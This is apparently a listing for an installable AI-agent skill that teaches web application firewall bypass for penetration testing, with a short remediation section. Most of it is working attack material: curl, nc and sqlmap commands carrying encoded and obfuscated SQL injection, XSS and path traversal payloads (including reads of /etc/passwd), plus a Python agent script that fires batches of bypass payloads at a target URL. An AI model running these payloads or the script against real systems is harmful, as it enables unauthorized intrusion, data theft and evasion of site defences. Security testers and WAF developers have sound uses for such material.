web application security

Performing Web Application Firewall Bypass

Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.

encoding-bypasspayload-obfuscationsql-injectionwaf-bypasswaf-evasionweb-securityxss
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When confirmed vulnerabilities are blocked by WAF signature-based detection
  • During penetration testing where WAF prevents exploitation of known issues
  • When evaluating WAF rule effectiveness against evasion techniques
  • During red team engagements requiring bypass of perimeter security controls
  • When testing custom WAF rules for completeness and bypass resistance

Prerequisites

  • Burp Suite Professional with SQLMap integration
  • wafw00f for WAF fingerprinting and identification
  • SQLMap with tamper scripts for automated WAF bypass
  • Understanding of WAF detection mechanisms (signature, regex, behavioral)
  • Collection of encoding and obfuscation techniques per attack type
  • Knowledge of HTTP protocol nuances exploitable for evasion

Workflow

Step 1 — Identify and Fingerprint the WAF

# Detect WAF using wafw00f
wafw00f http://target.com
 
# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
 
# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge
 
# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie

Step 2 — Bypass with Encoding and Obfuscation

# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
 
# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
 
# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
 
# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"
 
# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
 
# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
 
# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
 
# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"
 
# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"

Step 3 — Bypass with HTTP Method and Protocol Tricks

# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
 
# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
 
# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"
 
# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"
 
# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
 
# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"

Step 4 — Bypass with Payload Splitting and HPP

# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
 
# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
 
# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
 
# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'
 
# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"

Step 5 — Use SQLMap Tamper Scripts

# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
 
# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
 
# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3
 
# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch

Step 6 — XSS WAF Bypass Techniques

# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
 
# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
 
# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
 
# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
 
# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
 
# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"
 
# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"

Key Concepts

Concept Description
Signature Evasion Obfuscating payloads to avoid matching WAF regex patterns
Encoding Bypass Using URL, Unicode, or HTML encoding to disguise malicious characters
Protocol-Level Bypass Exploiting HTTP protocol features (chunked encoding, method override)
Tamper Scripts SQLMap modules that transform payloads to evade specific WAF rules
Content-Type Confusion Sending payloads in unexpected content types the WAF does not inspect
Parameter Pollution Splitting payloads across duplicate parameters to evade per-parameter inspection
Behavioral vs Signature WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder)

Tools & Systems

Tool Purpose
wafw00f WAF fingerprinting and identification
SQLMap Automated SQL injection with WAF bypass tamper scripts
waf-bypass.com Community-maintained WAF bypass payload database
Awesome-WAF Curated GitHub repository of WAF bypass techniques
Burp Suite HTTP proxy for manual payload crafting and WAF response analysis
XSStrike XSS scanner with WAF detection and bypass capabilities

Common Scenarios

  1. SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
  2. XSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
  3. Encoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
  4. Chunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
  5. Method Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect

Output Format

## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes
 
### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |
 
### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |
 
### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference: WAF Bypass Testing

Encoding Bypass Techniques

Technique Example Description
URL Encoding %3Cscript%3E Single URL encode
Double Encoding %253Cscript%253E Double URL encode
Unicode/Fullwidth \uff1cscript\uff1e Unicode replacement
HTML Entities &#x3c;script&#x3e; Hex HTML entities
Null Byte %00 insertion Terminate string parsing
Tab/Newline scr\tipt Whitespace insertion

SQLi WAF Bypass Techniques

Technique Payload Pattern
Inline Comment 1'/**/OR/**/1=1--
Version Comment 1'/*!50000OR*/1=1--
Case Variation 1' oR 1=1--
Hex Encoding 0x313d31
Buffer Overflow Long padding before payload
Content-Type Switch Send as application/json

HTTP Method Bypass

Method WAF Behavior
GET/POST Usually inspected
PUT/PATCH/DELETE Often not inspected
OPTIONS Typically bypasses rules

WAF Detection Indicators

Response Meaning
403 Forbidden Request blocked by WAF
406 Not Acceptable Content rejected
429 Too Many Requests Rate limited
Custom error page WAF vendor-specific block

Python Libraries

Library Version Purpose
requests >=2.28 HTTP request sending
urllib.parse stdlib URL encoding/double encoding

References

Scripts 1

agent.py6.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing WAF bypass techniques.

Sends encoded, obfuscated, and protocol-level bypass payloads
against a target URL to identify WAF evasion weaknesses in
XSS, SQLi, and path traversal filtering.
"""

import json
import os
import requests
import sys
import urllib.parse
from datetime import datetime


class WAFBypassAgent:
    """Tests web application firewall bypass techniques."""

    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.findings = []

    def _send(self, payload, param="q", method="GET", headers=None):
        try:
            if method == "GET":
                resp = self.session.get(
                    self.target_url, params={param: payload},
                    headers=headers or {}, timeout=10, allow_redirects=False)
            else:
                resp = self.session.post(
                    self.target_url, data={param: payload},
                    headers=headers or {}, timeout=10, allow_redirects=False)
            return {"status": resp.status_code, "length": len(resp.text),
                    "blocked": resp.status_code in (403, 406, 429, 501)}
        except requests.RequestException as exc:
            return {"error": str(exc)}

    def test_encoding_bypasses(self, base_payload="<script>alert(1)</script>"):
        """Test URL encoding, double encoding, and Unicode bypasses."""
        encodings = {
            "plain": base_payload,
            "url_encoded": urllib.parse.quote(base_payload),
            "double_encoded": urllib.parse.quote(urllib.parse.quote(base_payload)),
            "hex_entities": "".join(f"&#x{ord(c):02x};" for c in base_payload),
            "unicode_fullwidth": base_payload.replace("<", "\uff1c").replace(">", "\uff1e"),
            "null_byte": base_payload[:7] + "%00" + base_payload[7:],
            "tab_insert": base_payload.replace("script", "scr\tipt"),
            "newline_insert": base_payload.replace("script", "scr\nipt"),
        }
        results = []
        for name, payload in encodings.items():
            resp = self._send(payload)
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "Encoding Bypass", "technique": name,
                                      "severity": "High"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_sqli_bypasses(self):
        """Test SQL injection WAF bypass techniques."""
        payloads = {
            "inline_comment": "1'/**/OR/**/1=1--",
            "version_comment": "1'/*!50000OR*/1=1--",
            "case_variation": "1' oR 1=1--",
            "concat_function": "1' OR CONCAT(0x31)=1--",
            "hex_encoding": "1' OR 0x313d31--",
            "scientific_notation": "1' OR 1e0=1e0--",
            "buffer_overflow": "1' OR " + "A" * 5000 + " 1=1--",
            "json_content_type": "1' OR '1'='1",
        }
        results = []
        for name, payload in payloads.items():
            headers = {"Content-Type": "application/json"} if name == "json_content_type" else {}
            resp = self._send(payload, method="POST", headers=headers)
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "SQLi WAF Bypass", "technique": name,
                                      "severity": "Critical"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_path_traversal_bypasses(self):
        """Test path traversal WAF evasion."""
        payloads = {
            "dot_dot_slash": "../../../etc/passwd",
            "encoded_dots": "..%2f..%2f..%2fetc%2fpasswd",
            "double_encoded": "..%252f..%252f..%252fetc%252fpasswd",
            "utf8_encoding": "..%c0%af..%c0%afetc/passwd",
            "backslash": "..\\..\\..\\etc\\passwd",
            "null_byte_ext": "../../../etc/passwd%00.png",
        }
        results = []
        for name, payload in payloads.items():
            resp = self._send(payload, param="file")
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "Path Traversal Bypass",
                                      "technique": name, "severity": "High"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_http_method_bypass(self):
        """Test if WAF only inspects certain HTTP methods."""
        methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD"]
        payload = "<script>alert(1)</script>"
        results = []
        for method in methods:
            try:
                resp = self.session.request(method, self.target_url,
                                            params={"q": payload}, timeout=10)
                results.append({"method": method, "status": resp.status_code,
                                "blocked": resp.status_code in (403, 406, 429)})
            except requests.RequestException:
                results.append({"method": method, "error": "failed"})
        return results

    def generate_report(self):
        report = {
            "target": self.target_url,
            "report_date": datetime.utcnow().isoformat(),
            "total_bypasses": len(self.findings),
            "findings": self.findings,
        }
        print(json.dumps(report, indent=2))
        return report


def main():
    url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080/")
    agent = WAFBypassAgent(url)
    agent.test_encoding_bypasses()
    agent.test_sqli_bypasses()
    agent.test_path_traversal_bypasses()
    agent.test_http_method_bypass()
    agent.generate_report()


if __name__ == "__main__":
    main()
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